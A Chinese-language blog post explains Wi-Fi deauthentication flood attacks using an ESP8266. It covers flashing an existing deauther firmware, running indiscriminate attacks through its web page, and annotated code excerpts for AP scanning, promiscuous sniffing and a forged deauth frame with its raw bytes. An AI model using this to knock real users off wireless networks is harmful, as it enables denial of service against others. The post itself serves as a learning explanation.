无线DOS之取消验证洪水攻击

攻击原理

​ 取消验证洪水攻击,全程为De-authenticationFloodAttack,简称为Deauth攻击。首先,攻击者通过扫描周围的WIFI网络,获取WIFI站点的SSID。然后扫描连接周围连接该网络的设备。最后,对周边网络进行抓包(嗅探),寻找要攻击的WIFI站点和连接该站点的设备,以获取的包头信息重新构造一个取消验证包,发给连接设备。设备会被欺骗,从而取消对AP的连接。

攻击实现

​ 参考已有的张馆长的工程,将其烧录到esp8266模块上。

简单配置一下

烧录

这时,esp8266会建立一个WIFI,

我们连接这个wifi,进入192.168.4.1,可以看到攻击界面,里面会显示当前的AP,我们选取一个作为攻击对象。这里我们设置的是无差别攻击。当我们要定点攻击时,需要扫描连接该WiFi的设备,选择一个攻击。

​ 选择Deauth攻击,然后我们就可以观察到连接该网的设备断连的现象,手机上方的WiFi图标会不断闪烁。

代码架构

首先,WIFI模块有两种工作模式:

ap是无线发射端,station是接收端,两种模式组建成一个无线局域网。

  1. ap mode 通常应用在无线局域网成员设备(即客户端)的加入,即网络下行。它提供以无线方式组建无线局域网 WLAN,相当际 WLAN 的中心设备。AP和AP之间允许相互连接。
  2. station mode即工作站模式,可以理解为某个网格中的一个工作站即客户端网络上行。那当一个 WIFI 芯片提供这个功能时,它就可以连到另外的一个网络当中,如家用路由器。通常用于提供网络的数据上行服务。

代码的核心是扫描、嗅探和伪造。扫描站点,嗅探(抓包)和通过。

首先是扫描:

​ AP模式扫描周围的AP。

1
2
3
4
5
6
7
8
9
10
11
#scan.cpp
/* AP Scan */
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
// remove old results
accesspoints.removeAll();
stations.removeAll();
// start AP scan
prntln(SC_START_AP);
WiFi.scanNetworks(true, true);
/*该函数可以扫描到ESP8266开发板所在环境中的可用WIFI网络,并且将WiFi网络信息保存到内存中。通过调用SSID、RSSI等函数,我们还可以得到这些扫描到的WIFI的更多信息。*/
}

​ station模式开启后可以开启混杂模式(混杂模式(英语:promiscuous mode)是电脑网络中的术语。是指一台机器的网卡能够接收所有经过它的数据流,而不论其目的地址是否是它。),从而为嗅探作准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#scan.cpp
/* Station Scan */
else if (mode == SCAN_MODE_STATIONS) {
// start station scan
if (accesspoints.count() < 1) {
start(SCAN_MODE_ALL);
return;
}//如果当前网络没有AP,返回重新扫描,因为我们需要先确定攻击的AP再确定攻击的设备,如果在嗅探前AP已经不存在了,则没有继续的必要
snifferStartTime = currentTime;
prnt(SC_START_CLIENT);

if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);

if (!channelHop) {
prnt(SC_ON_CHANNEL);
prnt(wifi_channel);
}
prntln();
wifi::stopAP();
wifi_promiscuous_enable(true);//开启混杂模式
/*混杂模式就是接收所有经过网卡的数据包,包括不是发给本机的包。默认情况下网卡只把发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。但是混杂模式就是指网卡能接受所有通过它的数据流,不管是什么格式,什么地址的。事实上,计算机收到数据包后,由网络层进行判断(这里是802.11系协议),确定是递交上层(传输层),还是丢弃,还是递交下层(数据链路层、MAC子层)转发。*/
}

进入嗅探模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void Scan::sniffer(uint8_t* buf, uint16_t len) {
if (!isSniffing()) return;

packets++;

if (len < 28) return; // 丢弃掉过短的数据包

if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
tmpDeauths++;
return;
}

// 丢弃信标帧、探测请求/响应和解除授权/解除关联帧
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;

// 只允许数据帧
// if(buf[12] != 0x08 && buf[12] != 0x88) return;数据帧12位为08和88的时候说明是数据帧,如果都不是,可以丢弃,但作者将这句话注释了,不知道原因。。。

uint8_t* macTo = &buf[16];//该数据包要去哪
uint8_t* macFrom = &buf[22];//该数据包从哪来

if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
macMulticast(macFrom)) return;
//Broadcast所谓广播地址指同时向网上所有的主机发送报文,也就是说,不管物理网络特性如何,internet网都支持广播传输。这里表示如果收发地址为广播地址,则丢弃。
//Multicast是一个群组传播模式。。。其他的看不懂了,和上面区别不大。也丢弃。
//上面两种的特点都是一对多模式,而我们只需要要截获一对一的数据包,并认为该mac为有效mac地址。
int accesspointNum = findAccesspoint(macFrom);//查看该mac地址有几个AP。这个如果小于0说明该mac地址是连接AP的设备

if (accesspointNum >= 0) {
stations.add(macTo, accesspoints.getID(accesspointNum));
//macForm为AP了,那么macTo肯定为设备,我们将该设备的mac加入列表。
} else { //如果AP数量为0,那么macTo是AP,macForm为设备,
accesspointNum = findAccesspoint(macTo);
//这两个if判断谁是AP谁是设备,写的很垃圾
if (accesspointNum >= 0) {
stations.add(macFrom, accesspoints.getID(accesspointNum));
//我们将该设备的mac加入列表。
}
}
}

802.11协议

以上是我们需要构造的mac帧头格式

准确的说,我们需要向设备发送取消验证包。地址1应该是DA(设备mac),地址2是BSSID(伪造成APmac),地址3源地址(还是APmac)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#attack.cpp
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
······
// build deauth packet
packetSize = sizeof(deauthPacket);

uint8_t deauthpkt[packetSize];

memcpy(deauthpkt, deauthPacket, packetSize);//构造mac帧头,初始数据见下

memcpy(&deauthpkt[4], stMac, 6);
memcpy(&deauthpkt[10], apMac, 6);
memcpy(&deauthpkt[16], apMac, 6);
deauthpkt[24] = reason;
······
}
#attack.h
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00,
/* 2 - 3 */ 0x00, 0x00,
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
/* 22 - 23 */ 0x00, 0x00,
/* 24 - 25 */ 0x01, 0x00
};
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2023 YYz
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信